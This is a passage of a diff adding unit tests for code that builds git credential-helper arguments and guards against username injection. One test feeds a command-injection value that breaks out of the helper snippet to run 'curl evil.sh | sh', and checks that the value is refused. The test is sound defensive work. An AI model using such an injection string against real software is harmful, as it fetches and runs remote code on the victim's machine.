51
+
52
+ it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
53
+ process.env.GITHUB_TOKEN = 'ghp_x';
54
+ // Pinned exactly: `-c` here instead of `--config` still authenticates the
55
+ // clone but writes nothing into the new repo, which is the bug this guards.
56
+ expect(cloneCredentialArgs('oauth2')).toEqual([
57
+ '--config',
58
+ `credential.helper=${credentialHelperValue('oauth2')}`,
59
+ ]);
60
+ });
61
+
62
+ it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
63
+ process.env.GITHUB_TOKEN = 'ghp_x';
64
+ // The trailing value-pattern is what keeps an operator's own clone-local
65
+ // helper (store/cache/custom) out of reach of both the replace and the
66
+ // unset — git only touches values matching it.
67
+ expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
68
+ ['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
69
+ ]);
70
+ });
71
+
72
+ it('refuses a username that would break out of the helper snippet', () => {
73
+ process.env.GITHUB_TOKEN = 'ghp_x';
74
+ expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
75
+ });
76
+ });